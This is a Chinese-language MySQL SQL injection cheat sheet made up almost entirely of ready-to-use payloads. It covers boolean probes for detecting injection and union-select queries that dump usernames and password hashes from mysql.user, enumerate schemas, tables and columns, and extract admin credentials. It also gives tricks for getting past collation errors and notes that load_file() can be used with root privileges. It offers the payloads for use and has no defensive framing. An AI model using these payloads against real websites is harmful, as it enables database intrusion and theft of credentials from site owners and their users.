================================
判断是否存在注入: and 1=1 and 1=2
判断如果有root权限,可以使用load_file()
=====================================
(1)查询数据库用户:
and 1=2 union select GROUP_CONCAT(user,0x5f,password) from mysql.user
(2)查询所有数据库:
and 1=2 union select GROUP_CONCAT(schema_name) from information_schema.schemata
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata)t
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata where schema_name not in ('information_schema','performance_schema'))t
(3)查询所有表名:
and 1=2 union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
and 1=2 union select GROUP_CONCAT(table_name) from (select * from information_schema.tables where table_schema=database())t
(4)查询指定表的所有列:
and 1=2 union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database()
and 1=2 union select GROUP_CONCAT(column_name) from (select * from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database())t
注意:之所以限定database是因为可能存在同名表(位于另外数据库)。
当注射后页面显示:
(1)Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
可以使用convert()函数,如:
and 1=2 union select convert(GROUP_CONCAT(name,0x5F,password) using latin1) from admin
似乎可以使用unhex(hex())方式
and 1=2 union select unhex(hex(GROUP_CONCAT(name,0x5F,password))) from admin
(2)Illegal mix of collations for operation 'UNION'
使用hex函数,如:
and 1=2 union select hex(GROUP_CONCAT(name,0x5F,password)) from admin
参考:http://www.07net01.com/security/sqljibenzhuruyuju_585433_1379245164.html